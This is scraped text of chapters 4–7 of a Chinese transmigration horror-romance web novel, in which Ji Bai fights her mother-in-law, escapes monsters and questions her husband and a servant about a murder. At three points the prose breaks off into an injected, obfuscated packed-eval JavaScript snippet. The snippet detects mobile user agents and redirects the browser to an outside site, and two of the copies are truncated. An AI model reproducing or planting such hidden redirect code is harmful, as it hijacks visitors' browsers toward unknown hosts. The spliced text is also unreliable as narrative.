季白说完,掀了帘子,跟着屋外的丫鬟往正院去了。 路上,季白早就将羽生丢到九霄云外了,满脑子想的都是闻人夫人究竟为何请她过去,总不会是什么好事。 从她已知的信息中,这位闻人夫人是杀害原主的二号嫌疑人。 “夫人可有说什么事吗?” “少夫人去了就知道了。” 得,问了等于白问,看来只能走一步看一步了。 丫鬟带着季白穿过抄手游廊,跨进了一座院子,丫鬟们领着她进了偏房,随即去给闻人夫人禀告。 季白茶也没喝,稍待了一会就有人来请她进去。 一进屋就见主位上坐着一位雍容华贵的贵夫人,年纪大概在三十多岁,一双细长的眼睛沉静如水,见季白来了,也不出声只是继续喝着茶,仿佛她这个人不存在一样。 季白摸不准闻人夫人要做什么,但看她脸上并无怒气,心想应该不是她砸褚师怀的事暴露了,不然她不可能这么平静。 季白这么想着,心里就放松了许多。 她站了一会只觉两腿酸痛,见旁边正好摆着椅子,想也不想的就坐下了。 谁料,她刚坐下,就见闻人夫人重重把茶盏往桌上一放发出“噔”的一声,厉声喝道:“放肆!真是越发没有规矩了,进了门也不请安问好,婆婆还没发话,你倒先坐下了?谁家有这样的规矩?” “秋嬷嬷,去,好好教教她规矩!” 闻人夫人话落,她身后的一位老嬷嬷板着脸走上来了。 “少夫人,礼记曾言到了父母长辈的居所,要下气怡声,问衣燠寒,您一进来却一言不发,此为一过,礼记又言儿媳见父母长辈要进退周旋慎齐,升降出入揖游,您可倒好没事人一样站着,婆母还未发话,少夫人却自行坐下,您眼里可还有长辈?” 季白是个现代人,还是个语文不好的现代人,老嬷嬷这番咬文爵字听得她厌烦又头疼。 她用大拇指的指甲死死掐着食指,竭力克制情绪,“我知错了。” 秋嬷嬷板着脸说:“少夫人,您应当面容庄重的行礼道歉。” 季白想了想丫鬟对她做的动作,照猫画虎地做了一下,又咬着牙说了一遍,“我知错了。” “既知错了,不得不罚。”秋嬷嬷道,“少夫人,得罪了。” 季白本能地就想要反抗,但最终还是咬咬牙忍下了。 秋嬷嬷冷着脸上前抓住她的手腕,随即用带着倒刺的木条狠狠抽她的手,打得她一个激灵,霎那间手掌已是血肉模糊。 这一刻,她仿佛和原主心意相通了。 她不可思议地理解了原主为何会虐打闻人瑾,她从他母亲这儿受了罪,她就全部报复在她的儿子身上。 三下打完后,秋嬷嬷退了回去,季白没有再坐,而是静静地站在原地,她垂下眼帘看着自己鲜血淋漓的手掌。 好疼,是从来没有过的疼。 她从来不知道人可以痛成这样。 一股无名的暴怒冲上大脑,她闭上眼拼命压制着疯狂翻涌的情绪,可无论她怎么压制那股怒气都堆积于胸,无法散开。 她这辈子都没有人把她打成这样,也从来没有人敢把她打成这样。 她们凭什么? 哪怕季白知道闻人夫人是这座宅院的实际掌控者,是能决定她生死的人,但她还是抑制不住的想要发疯,想要打回去。 这窝囊气她是非受不可吗? 她在心中问自己。 “你与我儿成婚也有一段时日了,肚子却一直没有动静,不孝有三,无后为大。” “我知道你们小年轻脸薄,也不好为这事求医问药。” “我这儿恰巧有一剂良方,是侍郎夫人给的,她家儿媳用了后,一举得了个男胎。” “药我已经帮你煎上了,一会你就喝了罢。” 闻人夫人说话的时候,季白一直低着头垂眸不语。 闻人夫人以为她这是顺从的表现。 其实季白压根没有听闻人夫人在说什么,她所有的精力都用来压抑自己的情绪了。 可她若努力,她的怒火就越来越大,她也想得清楚明白了。 宁愿一死也不受这鸟气! 秋嬷嬷毫无察觉地给季白捧上一碗酸涩难闻的汤药,“少夫人,请吧。” 季白毫无反应,秋嬷嬷回头看了眼闻人夫人,闻人夫人只当季白怕苦不肯喝,眉头一皱毫不留情地下令道:“绑着她,给她灌下去!” 在闻人夫人的眼中,季白和一头需要下崽的母猪没有差别。 秋嬷嬷得了令,就要给季白强行灌药,可手还没挨上季白,就被季白一巴掌打翻了碗里的药。 瓷碗“哗啦”一声碎得四分五裂,闻人夫人张大了嘴,正想质问季白是不是疯了,就见季白真的和疯了一样抬手重重给了秋嬷嬷一拳,打得秋嬷嬷没个防备,一屁股摔在地上。 手掌正好按在了碎片上,疼得她又是一阵鬼哭狼嚎。 闻人夫人瞪大了眼,涂着丹蔻的手颤巍巍地指着她问:“混账东西,你是疯了不成?” “喝喝喝喝,喝你爹的腿!”季白骂了一句,顺手抄起桌上的茶壶就奔闻人夫人的方向去,吓得闻人夫人脸色一白,转身就想跑,却被裙子绊了一下,一帮婆子丫鬟又连忙去扶她,这个功夫的时间季白已至眼前了。 季白抓着闻人夫人的下巴,骑在她身上,冷声道:“我让你先喝个够!” 茶壶里的水不算烫,可被人强行灌水的感觉也不好受,嗓子里鼻孔里都挤满了水,呛得她的嗓子和鼻腔火辣辣的痛,止不住地咳,茶叶也糊了她满脸。 这辈子都尊贵体面的闻人夫人头一次撞上这事,她拼命挣扎,却敌不过季白的手劲,这时,丫鬟婆子们也终于反应过来强行去把季白扯开,季白眼见敌不过这么多人,又愤愤不平地把茶壶朝闻人夫人重重砸了过去。 没有砸准,但溅出的碎片也划破了闻人夫人的脸庞,闻人夫人吓得尖叫出声。 季白总算出了心中这口恶气,她从小长到大,还从来没有人打过她呢。 她算什么东西,凭什么打她? 大不了一死而已,这破古代她还不想待了呢! 幸运的话她一睁眼又回现代,不幸运的话十八年后又是一条好汉。 三五个丫鬟婆子钳制住季白,还有三五个则连忙把闻人夫人扶起。 她头上的钗子歪歪斜斜地插在云鬓上,那颗颗硕大的珠宝上挂着几片耷拉着还滴着水珠的茶叶,闻人夫人气红了脸,指着季白骂道:“来人!给我把她关到柴房里反省!谁都不准给她送饭,真是反了天了!” 季白被人扭送至柴房,在去柴房的路上,季白还满不在乎地想,原来只是关着她,她还以为要直接杀了她呢。 所谓的柴房是一间密不透风的房间,里面暗得很,只有一扇门连道窗也没有。 众人重重将人推了进去,门啪嗒一声合上了,唯一的光源也没了,房间彻底陷入黑暗。 季白往地上一摸,地板冰冷刺骨,若坐久了定要着凉。 黑暗中的时间过得格外漫长,她本是半蹲着,可蹲着蹲着也累了,索性闭着眼往地下一躺,心里盘算着若是闻人瑾知道她不见了,会不会来找她? 他是闻人夫人唯一的儿子,若是有心救她,闻人夫人应当会放过她。 她正想着,只听门外有响动,有人来了。 季白立刻把脸转向门的方向,只听啪嗒一声,门开了。 大量的阳光涌了进来,季白本能地闭上眼缓了缓。 会是谁呢? 闻人瑾吗? 她再次睁开眼,一张俊美肆意的脸出现在她的眼前。 他的头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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跟他私奔?季白可不认为跟着一位情绪不稳定的疯子能有什么好。 季白柔柔一笑,问:“你真的要带我走啊?” “我这次不骗你。”褚师怀答得肯定。 季白心中嗤笑一声,这次不骗,看来从前是骗过了。 这褚师怀压根就不是什么好人,如果他真的心悦原主,早该禀明长辈迎娶原主,而不是偷偷摸摸的和原主往来,难道他不知道他们的事一旦暴露,迎接原主的会是什么吗? 他知道,他不在意,他只顾自己享乐。 一提分手就杀人发疯的男人,她宁愿一辈子待在这柴房里都不会跟他去的。 季白伸出受伤的手,故意示弱,“可是我的手好疼啊,再不止血我就要死了。” 褚师怀低头一看就见季白的手上交错着深深浅浅的伤痕,他满是心疼地捧着她的手,低声说:“她还是这么狠。” 季白心里好笑,这人杀她的时候下手狠辣毫不心疼,眼下这点不致命的伤口倒是让他心疼起来了。 褚师怀扯下一块衣摆的布细心帮她包扎伤口,他神态认真,动作熟练,全然不似之前的疯癫,仿佛这样的事情他曾经为她做过无数遍。 季白悄悄拔下鬓上的发钗随即对准褚师怀的脖颈就狠狠刺了下去,这一次是奔着褚师怀的性命去的。 然而,褚师怀早有防备,他抬手抓住季白的手腕,发钗的尖端只刺破了他的一点皮。 “你还想杀我?”他抬起头看着她,眼中是说不出的悲哀和绝望。 季白的心有一瞬间的心疼,但又很快变得冷硬。 “是你先要杀我。” 褚师怀定定看着她,抓着她手腕的手一点点的用力将她按在了地上,他低低地笑了起来,舌尖舔了下发钗上的血。 “这样也好,你杀我,我杀你,你我共死,也算至死不渝了。” 季白可不想死在他的手上,她重重咬了他一口,而后推开他就跑,一面跑一面尖叫着大喊救命,很快引来了人。 她在离开前回眸看了柴房中的褚师怀一眼,他半坐在阴影处,目光阴郁,他们的视线在兵荒马乱中对上了。 他的眼神中藏着太多太重的情绪,让季白感到心惊,她毫不怀疑,下一次再见褚师怀会毫不犹豫地杀了她,杀了她这个背叛者。 季白没跑出几步就遇上了闻讯而来的丫鬟婆子,他们押着她又回去,等她回到柴房,褚师怀已经走了。 她又被重新关在了柴房,嘴里还残留着淡淡的血腥味,是刚刚咬褚师怀时留下的血。 在一片黑暗中,季白的耳边突然响起一道无比清晰的电子音。 【滴滴,能量充足,系统重连中。】 【成功与季白建立连接。】 【宿主您好,我是您的系统x。】 【欢迎您来到恐怖乙游的世界。】 【请问现在是否要接受任务。】 5. 第 5 章 季白愣住了。 她都穿进这个世界两天了,系统才上线? 还真是有够迟钝的,也不怕她前几天死了。 【你说的乙游是什么意思?】 【我要完成的任务又是什么?】 【完成后有奖励吗?】 【我还能回去吗?】 季白问了一连串的问题,脑海中的电子音很快再次响起。 【你可以理解为这是一款恋爱游戏。】 季白有所领悟,这几天所遇见的反常与怪事都有了解释。 难怪那三个男人会那般不正常的迷恋原主,原来他们本就是为爱而生的角色。 怪不得明明是封建的古代社会,女眷所居住的内宅竟会任由一个俊美小厮随意出入夫人的卧室。 原来这根本就是一个为爱而服务的游戏世界。 一般这种游戏的男主都绝不普通,想来羽生的真实身份不止是小厮这么简单。 只是……恋爱游戏不应该是温馨浪漫的吗? 可季白却能隐隐从他们三个中察觉到失控的疯狂,其中褚师怀表现的最明显。 【但是这个游戏世界已经崩坏了,男主们也受到了一定的影响,数值与行为都已失控,正常的他们绝对的爱着你且永不会伤害你,现在的他们依然爱你,可却想要杀死你。】 季白瞪大了眼睛,本能地摸了摸自己的脖子。 从她穿来的那一刻,她的脖子就火辣辣的痛,直至现在也没有全好。 【所以是谁杀了原主?】 系统冷冰冰地回答。 【这需要宿主自己破解,另外,从来没有什么原主,自始至终都只有宿主一人。】 季白有点不理解,什么叫从来都只有她一个? 她并没有原主季白的记忆,她怎么会是她呢? 【请问宿主是否接受任务。】 【不接受。】 季白答得果断,什么福利还没说呢,就想先让她干活? 【宿主已接受本次任务,即将为宿主开启第一个副本世界——不见天。】 季白:??? 【我说的不接受!】 【反对无效,已自动为您接取任务。】 季白:…… 那何必又多问我一句。 【本次任务您是闻人府大公子的妻子,但自幼生长在闻人府的你与闻人府大公子和借住在闻人府的褚师怀与小厮羽生都暗生情愫,他们三人发现你朝三暮四的花心本性后黑化值极限飙升,想要杀死你达到永远留下你的目的,请宿主小心对待男主们,维护他们的黑化阈值。】 【特别提醒由于世界崩坏,怨念丛生,每当黑夜降临食人血肉的怪物会现身,这时,只有男主的身边是绝对的安全。】 【本次任务通关条件:】 【1:请宿主查出是谁杀了您。】 【2:请宿主找到三个通关道具。】 【3:活着。】 【如果我要死了呢?】 【如果宿主在游戏中死亡,现实中的肉身也会永远沉睡,灵魂则会一直困在这个副本,成为怪物们的养料。】 懂了,死了就是真死了。 没有什么回档重来了。 季白把现在要做的几件事在心中捋了捋,最后又问。 【三个通关道具是什么?你总得给我点提示吧?这个世界东西这么多,我要是一点线索都没有,找一辈子也找不着啊。】 【三样通关道具分别代表了三位男主,是他们最重要的东西。】 季白人傻了。 【你怎么不早说?我都来两天你这会告诉我要从他们手中获取道具?你不应该一开始就出现吗?你这系统也太延迟了吧?!】 她原本以为这是一个普通的古代社会,所思所行都是按照古代社会的最优解行事。 她把褚师怀得罪的死死的,她杀了他两次。 别说愿意把他手中的珍宝交给她,下次见面不杀了她都是好的了。 至于羽生…… 虽然没动手伤害他,但季白从不认为言语的伤害会比肢体差。 她那么贬低羞辱他,他怎么可能还会信她? 三位男主中也就没有和闻人瑾闹翻。 早知道这是游戏世界,她也不会把话说得那么死。 现在好了,又得腆着脸回去求了。 季白想想就觉得社死,躺在地板上开始和系统耍赖。 然而系统一言不发,仿佛又消失了一样。 【喂,你出来,别装聋作哑不出声以为这事就算了。】 系统被季白骚扰得有几分无奈,冷漠的电子音中竟能听出几分妥协。 【我可以为你申请一份新手礼包。】 季白眼珠子一转,还想说话,系统却似看透她的想法,出言提醒。 【任务一旦开始,只有七天的时间,七天内如果不能达成通关条件,则判定为任务失败。】 【七天?!】 季白垂死病中惊坐起,一周的时间够干的什么的! 【倒计时六天二十三小时四十分钟,请宿主抓紧时间。】 【再次提醒,夜幕降临,怪物现世,请宿主快速返回男主身边。】 系统说完这句话后,季白看向了门,先前她还能从门缝中看见微弱的光,可那条门缝消失了,整个世界都陷入了黑暗中。 季白又感受到暗中有人在盯着她,仿佛她的身后不是一堵墙,而是……无数双用眼球组成的屏障。 这个可怖的想法让季白打了个冷颤,她连忙从地上爬起,不能再留在这儿了! 寂静的世界里突然响起簌簌簌和沙沙沙的声音,像是风吹过树林,又像是爬虫爬过地面。 令人毛骨悚然。 季白不敢再逗留,抬脚猛踹房门,大喊: “放我出去!快放我出去!” 然而屋外却无一人回应她。 “啊,好疼啊,肚子好疼啊,我快死了,哎呦,疼死我了,救命啊,救命啊!” 无论她怎么喊,外面都无人回应,仿佛整个世界在这一瞬间沉睡了。 季白想到系统所说的怪物,心中越发迫切,黑暗中突然出现一个看不清的东西缠住了她的脚,冰冷,黏腻,像是章鱼的触手,拖拽着她往墙的方向去。 后背被地板蹭得生疼,可她却顾不得身上的这点疼,拼命挣扎自救。 她的直觉告诉她,如果她真的被拖拽到墙里去,她就真的完了! 她拔起云鬓间的金钗,毫不犹豫地朝自己的小腿扎去。 “噗嗤”一声,是利刃插入血肉的声音。 “滋!啊!”怪物的哀鸣冲天而响,似乎就连周遭的空气都变得扭曲了。 缠着季白的触手吃痛蜷缩了回去,可季白知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879159|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它不会那么容易的放过她。 她不敢耽误立即站了起来保持警惕,她必须尽快想办法出去,不然留在这儿,只有死路一条。 黑暗中她的眼睛几乎没有任何用处,她只能用自己的感官感知着怪物的攻击,突然,她听见空气中传来破空的声音。 它又来了! 她转身拼了命地往门的方向跑,眼看要撞上门的时候,微微一个侧身往右偏了偏,怪物带着怒气的攻击直直撞上了门。 本就不慎牢固的木门怎么可能抵挡得了怪物的全力一击,只听轰隆一声,木门倒地,一轮血红的圆月出现在季白的视野中。 季白心中一喜,成功了! 她拔腿就往闻人瑾住的院落跑,幸亏她的记忆力向来不错,还记得路,不然今晚真要死在外面了。 她不要命的跑,耳边时不时传来诡异的嘶吼声和突然出现的诡异生物。 她的心砰砰直跳,不敢乱看,可也觉得整座宅院像是活过来了一样,一草一木,一砖一瓦都成了吃人的怪物,在经过一个拐角时,她的余光瞧见了一直追着自己的怪物。 它通身赤红,像是没有皮肤的血肉,约莫有半人高,张着一张森然的口器,上面的每一根刺都仿佛能刺穿她的小腹,剥出她的五脏。 天呐,这到底是什么怪物? 季白越跑越快,可那东西也一直跟着她,而且它的身后也聚集了各样密密麻麻的怪物,嘶吼着,狰狞着要将她拆穿入腹。 从它们的嘴里传来腥臭的腐烂味几乎要把季白熏吐,她拼命地跑,终于在走廊的尽头看见了一盏灯,灯下站着一个人。 在这一瞬间季白仿佛看见了希望。 “救!救我!”她朝她狂奔而去,如同抓住自己的救命稻草一般,抓住了她的手。 “救我!好多怪物。” 可季白刚抓住她的手就察觉出不对劲,她的手太凉了。 那人突兀地把脖子拧了过来,是一张苍白扭曲的脸,没有眼珠只有眼白,她突然张大了嘴,越张越大,直至她的整个脑袋都变成了嘴。 “啊!”季白尖叫一声松开她的手,她不是人,她也是怪物! 可她身上穿着的明明是闻人府丫鬟的衣服! 无数根黑色的血肉藤蔓从她喉咙里探了出来,组成一张网要将季白套在网中吃掉。 季白没犹豫,转身就跑。 快了,快了,快到闻人瑾的院子了! 她已经看见了院门的匾额。 可怪物的触手又抓住了她的脚腕,似乎又有怪物啃上了她的胳膊,疼得她几欲昏死过去。 明明安全的港湾就在眼前了…… 季白不甘心地大喊了一句: “闻人瑾!” 清幽的小院霎那间亮了,在这黑暗的宅院里,它亮得仿佛是天上的太阳。 从门内走出一位雪魄冰姿,脱俗出尘的白衣公子,眼上覆着的白绸随风飘摇,在这诡异的恐怖世界里,他像是唯一的救赎。 在季白看到他的一瞬间,诡异扭曲的世界重新归于平静,脚上黏腻的触手不见了,胳膊上的啃伤也不痛了。 仿佛刚刚所有的一切只是她的一场梦。 她汗水淋漓地扑入他的怀里,双臂紧紧箍着他的腰身,把头埋在他的怀里瑟瑟发抖。 闻人瑾轻柔地抚摸着她的头发,声音清越宛若仙乐,“怎么出了这么多汗?” 6. 第 6 章 惊慌失措的心在他的怀里缓缓恢复平静,她抬起头对上闻人瑾神色如常的脸,他看起来一无所知,仿佛这个世界是无比的正常。 “你为什么不来找我?” 季白说话时,目光始终梭巡着四周。 刚刚还宛若疯了的世界,在这一瞬又变得无比正常。 “抱歉。”闻人瑾轻声说,“母亲派丫鬟来传信,说今夜与你相谈甚欢,故而要留你在正院陪她一晚,我就没去。” 季白可不是会闷着吃亏的个性,她立即告了闻人夫人一状。 “什么和我相谈甚欢,她一直不喜欢我,你难道不知道?今天我一去她就让一个老嬷嬷打了我。”季白伸出手给闻人瑾看,“你瞧,我的手都让她打坏了。” 季白说完,才意识到闻人瑾看不见…… 她又默默把手收了回去,小声说,“哦,抱歉,忘了你看不见。” 闻人瑾突然伸出手无比精准地抓住了季白的手,动作准确到几乎要让人怀疑他是不是真的瞎了。 他低下头轻轻在季白的掌心吹了一口气,酥酥麻麻的有点痒。 “你……你做什么?” 闻人瑾弯了弯嘴角,笑了。 “呼呼,痛痛就会飞走。” 季白十分惊讶地看着他,这样幼稚的动作怎么看都不像是闻人瑾会做的动作。 闻人瑾的手指绕过她受伤的手掌,牵上了她的手腕。 他侧过头看着她,明明隔着一层白绸,季白却好像看见了他那双笑着的眼睛。 其实季白一直对闻人瑾白绸下的那双眼睛很好奇,瞎了眼睛的他已是天人之姿,若是他眼睛完好不知会有多动人心魄。 闻人瑾牵着她的手往院里走,“等会我让下人给你上药。” 季白故意撒娇道,“我要你给我上。” 闻人瑾白绸后的眼睛动了动,“可是我……” “我相信你。”季白靠在他的肩上,用充满依赖又信任的语气说,“我相信你一定可以帮我涂好药。” “好。”闻人瑾轻笑了一声,应下了。 季白暗想,她今天一定要看清楚闻人瑾的眼睛究竟是不是真的瞎了。 她心里打着小算盘,可面上却一点也看不出来,一脸天真无辜地继续和闻人瑾告状, “今天要不是我拼了命地往回跑,我现在还在柴房里关着呢,我也不知是哪里惹恼了她,连饭都不给我吃,我都饿了一天了。” 闻人瑾抓着她手腕的手紧了紧,随即道:“母亲下次再找你,我和你一起去,有我在,她定不会为难你。” 季白笑吟吟地说:“好。” 她没有说她也打了闻人夫人,反正闻人瑾也没问,就算他真的知道了,按照游戏设定也不会为这种事为难她。 她还没有闹明白如何平衡男主们的黑化值,尤其是闻人瑾,他看起来实在是再正常不过了。 在三个男主中也就只有他的情绪最为稳定。 不过,她可以先趁机问问原主死亡的事。 虽然在系统嘴里她们自始至终都是一个人,但在季白看来她和这个世界原来的季白根本就是两个不同的人。 “夫君。” 季白话音刚落,她就发觉闻人瑾周身的肌肉都紧绷了起来,不知是紧张还是兴奋。 他转过头来,清越的嗓音中带着几分震颤,“你……叫我什么?” “夫君啊。”季白说,“你不是我夫君吗?” 他握着她手腕的手陡然加重,随即将她拉入了自己的怀中,“这是你第一次称我为夫君,我,很高兴。” 季白可以感受到他在颤栗的身体,仿佛就连灵魂都在雀跃的跳舞。 季白有几分恍惚,她虽然从春桃的口中得知原主自和闻人瑾结婚后就一直不合,却没想到他们的关系差到这种地步。 原主竟连一句夫君都没叫过他。 那她心里的人究竟是谁呢? 褚师怀还是羽生? 或许她能搞清楚这个问题,她就能完成第一个通关任务。 季白在他脸边轻吻了一下,而后拉着他进了屋,下人们找来药膏呈给闻人瑾,闻人瑾接过后,动作小心又缓慢地沾了一点药膏,而后试探性地摸上季白的手掌。 “是伤在这儿吗?”他不确定地问。 “再左一点。” “这儿?” “是。” 闻人瑾闻言缓缓推开药膏在红肿的伤口上摩挲,却因看不见指腹无意间碰到了破了皮的伤口,只听季白倒吸了口凉气,嘶了一声,吓得闻人瑾立即停了动作,问:“是我弄疼你了吗?” 季白摇头:“没有,你继续吧。” “好。” 微凉的药膏在她的掌心缓缓推开,原本灼热刺痛的伤口被冰凉的清爽感所覆盖,酥酥麻麻的痒意沿着掌心扩散开来,又带着些许可以忍受的刺痛。 他一脸专注地低着头,橘色的暖光映在他的脸上,越发有一种不真实的梦幻,一举一动都像是精心设计过的艺术品。 看起来确实是瞎了。 季白别开视线,故作无意地问:“你还记得我失忆的前一天晚上做了什么吗?” 闻人瑾涂药的手蓦地一顿,问:“为何突然问这个?” “我想能快点想起之前的事,想知道我和你从前经历过的点点滴滴。”季白抽出手扑倒在他的怀里,仰起头把玩着他垂在胸前的黑发,“一定是无比幸福又浪漫的回忆。” “过去的事都过去了。”闻人瑾说,“我们现在不好吗?” “可是我想知道。”季白把头埋在他的怀里轻蹭着撒娇,“你就告诉我嘛,那天晚上我有没有什么异常啊?不然为何偏偏睡一觉醒来就什么也不记得了。” 季白次日有留意过脖子上的伤,那伤口看起来像是刚留下不久的。 原主一定是在她穿过之前的那个晚上死掉的。 虽然闻人瑾表现得很正常,可在季白心中,他始终是嫌疑最大的人。 他是最后一个接触原主的人,也是和原主待了一晚上的人。 他不可能什么都不知道。 闻人瑾轻抚着她的头发,低声说:“你想知道,我就告诉你。” “那一天你在府中散心,在外面滞留到很晚才回来,我问你去了哪里,你不理我。” 闻人瑾说到这儿,顿了顿,“也都怪我,没能多问你两句,或许就是那一天你在外面受了伤,而我因为眼盲未能发现。” “后来,你就熄灯歇息了。” “只有这些?”季白问,“可是我听丫鬟说我从前总是和你吵架,那一天我没有和你吵架吗?” 闻人瑾摇摇头,“我也觉得纳闷,若是往常你定是要和我吵上几句的,可是那天……你很安静。” “一反常态的安静。” 闻人瑾的话季白没有全信,而是又转了个话题,一脸好奇地问:“对了,我刚醒的那一天,夫君为何要掐着我的脖子?” “看起来像是……”季白笑了下,用开玩笑的口吻说,“要杀了我一样。” 季白脸上在笑,可眼中毫无笑意,反而用冰冷又审视地目光打量着闻人瑾,似乎是想从他的脸上找出破绽。 她看见他的眉梢微微抖了抖,像是某种藏在心中的恐惧,终于压抑不住露了出来。 季白握住他冰凉的手脚,故作不解,“夫君怎么了?” 闻人瑾缓了缓,眼上的白绸被润湿,紧接着两行泪滚落了下来。 “你是在怪我吗?” 美人垂泪,着实让人怜惜,就连季白那颗冷硬的心也被这眼泪浸软了。 “对不起,是我骗了你。”闻人瑾颤着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“三天前的夜里?”春桃想了想,说,“并没有发生什么特别的事啊。” “不特别的事也可以说。”季白说,“比如那一天你看见我了吗,我在做什么,还有大公子,如果你还看见有别人来过这座院子你都可以说。” 春桃想了想,说:“那一天晚上夫人很晚才回来,回来后就和大公子吵了一架,你们吵得很凶很凶,整座院子的人都能听见了。” “后来灯就熄了,夫人和大公子应当是睡了。” 春桃的话倒和闻人瑾的话对上了,可季白还是怀疑闻人瑾,或许……那一天爆发争吵后,闻人瑾恼羞成怒,用绳子勒死了原主呢? “有具体的时间吗?” “夫人大概是酉时回来,自夫人回来房间就断断续续有争吵声,直至快子时才没了声响。” 季白用指甲压了压指腹,两人说的时间完全对不上,是谁在说谎,又为何说谎? “还有别的吗?” 春桃又想了想,道:“对了,那晚正好是我值守,迷迷糊糊中我好像看见一抹黑影,等我追过去的时候却发现是羽生,他说他晚上睡不着四处走走。” “这算吗?” “那时是什么时辰?” “快丑时了。” 季白捋了捋时间线,脑海中闪过羽生那张看似柔美纯净的面容。 自从她见过这儿的怪物后,她就不敢再小觑这个副本的任何一位男主。 羽生一直都可以自由出入季白的房间,对内院和卧室的构造格外熟悉,会不会是他半夜潜入房间悄无声息地杀了原主? 她得去试探试探羽生,顺便想办法从他手上讨来通关道具。 7. 第 7 章 “夫人要找羽生?”春桃说,“我去把他喊过来。” “不用麻烦。”季白说,“他住在哪儿,我过去找他。” 春桃眼中闪过一抹惊讶,羽生只是一个下人,哪里配得上让主子亲自去找。 她想到府中的风言风语,非常识趣的什么也没说,只是问:“我知道羽生住在哪儿,我带夫人过去。” 季白上次那般羞辱了羽生,哪怕他看起来再好脾气,心中也不可能没有一点气,不然,她今天也不会一直没见着羽生,那家伙之前可是见缝插针地往她身边凑。 因而与其让下人们去请,不如她亲自去找。 当然还有最重要的一点是,她怕把羽生叫过来后还没说两句话就被闻人瑾发现了。 她一直琢磨着系统所说的活着和男主们黑化的事,她的性命可能和男主们的黑化值有很大的关联,没有什么比让男主们知晓她和别人亲近更能刺激人了。 为了她的小命着想,她也得尽可能地把这三个人分开,并且得各自在他们面前表现得很爱他们的样子。 季白叹了一声,还真是一个麻烦的事。 要不还是死了吧。 可她一想到系统说只要任务失败,她就会成为怪物们的口粮,就忍不住打了个冷颤,求生欲又一次占领了懒惰。 春桃带着她来到院子西边的角落,这里盖着一排小房子,都是下人们住的地方。 春桃上前拍打最后一间房的门,唤道:“羽生,快开门,夫人来看你了。” 春桃喊了半天,也无人回应。 难道还在生气? 季白想了想,上前一步,对着门低声说:“羽生,那天是我说话太过了,你先把门打开好不好?” 季白话音刚落,就听见有动静传来,紧接着是门开的声音,但开得并不是羽生的屋子而是羽生隔壁的屋子。 一位方脸吊梢眉的丫鬟走了出来,见是季白连忙屈膝行礼,回道:“夫人,羽生不在屋里。” 季白打量了她半天,总算是有点印象,她好像是外庭专职打扫的丫鬟。 “羽生昨儿回来就收拾东西走了,一夜都没见他回来。” “走了?走哪去了?”季白是真急了,他要走了,她的任务怎么办? 她还没拿到羽生手里的道具呢。 丫鬟摇摇头:“他甚少和我们说话,我们也不知他去哪了。” 季白听了这话摆摆手让她下去了,她在脑海里询问系统。 【系统,你知道羽生的下落吗?】 【请宿主自行寻找男主下落。】 季白是看明白了,她这系统除了发布任务以外是不会给她提供一点帮助的。 她叹了口气,如果羽生真离了府,她去哪找? 如果她的时间充裕倒也还好,可她只有七天的时间,今天过了就只剩六天了。 春桃突然出声:“夫人,我或许知道羽生的下落。” 季白忙问:“他去哪了?你快带我去找他,我有很重要的事问他。” 春桃道:“羽生在没调来之前,曾在花房做事,我想他或许是回花房了。” 季白听了这话,立刻就跟着春桃往花房赶,她还没进院子,远远就听见里面有人嬉闹起哄的声音。 “这不是攀了高枝的羽生吗?怎么又回来了?” “哈哈哈,肯定是没把少夫人服侍好,让人撵出来了呗。” “真是贱,之前狐媚勾引老爷被老爷鞭打,如今又不要脸的去勾引少夫人,也让人撵出来了,呵,我要是少夫人也嫌你脏。” “贱狗,骚狐狸,离我远点,别把你那骚味传到我这儿来了。” 各种污言秽语轮番在季白耳边轰过,她之前羞辱羽生的那些话在这些脏话面前显得是那么的苍白。 她总算明白羽生面对她时,为何会那般卑微的讨好。 留在她身边,只是被她一个人欺负,可若是离了她,他会被更多的人用无比残忍的方式欺辱…… “他们说羽生曾勾引过老爷,是什么意思?” 春桃神色犹豫地说:“我也不太清楚,只是依稀听别人说,老爷好像曾看中过羽生,要强占了他,后来不知怎的,羽生满身是血的被扔出来了,后来……听说少夫人收留了他。” 原来原主和羽生还有这一段,那在羽生的眼里,她不仅是主子,还是救了他,庇护他的恩人。 院子里还在骂,甚至依稀还有了动手的迹象,季白再也按耐不住,快步冲了进去。 “你们在做什么?”季白厉声喝道。 她一进去就见羽生灰头土脸地跪在泥地里用手刨土种植牡丹,几个人正围着他动手动脚,羽生见她来了,不可思议地抬起头看向她,一双饱满的杏眼霎那间涌出一层水雾,但他强撑着没落下泪。 哪怕他穿着一件最普通的灰色短衫,白嫩的小脸上也沾满了泥土,也无损于他的清秀俊美。 在这满院的景秀芳花中,季白还是一眼就注意到了他,就连他身旁的牡丹都被他衬托的黯然失色了。 季白移开视线,目光冷然地看向跪在地上战战兢兢的小厮们。 “是我派季白来花房为我寻一株上好的牡丹,怎么到了你们嘴里全成了乱七八糟的事?好像你们谁亲眼看见了一样。” 季白随手指了一人,质问:“你看见了?” 那人战战兢兢地回道:“少夫人,我整日在花房劳作,不曾踏入内宅,不……不曾见过。” “没看见你瞎说什么?”季白眼神冷厉地瞧着他,心中却忍不住在想。 这些仆从真的是人吗?到了夜晚他们会不会也变成吃人的怪物? 季白有心想试试,羽生却突然上前劝道:“夫人何必为了他们气坏了身子,他们有错让管家责罚就是,夫人贵脚怎能踏入这等贱地?我先送夫人回去。” 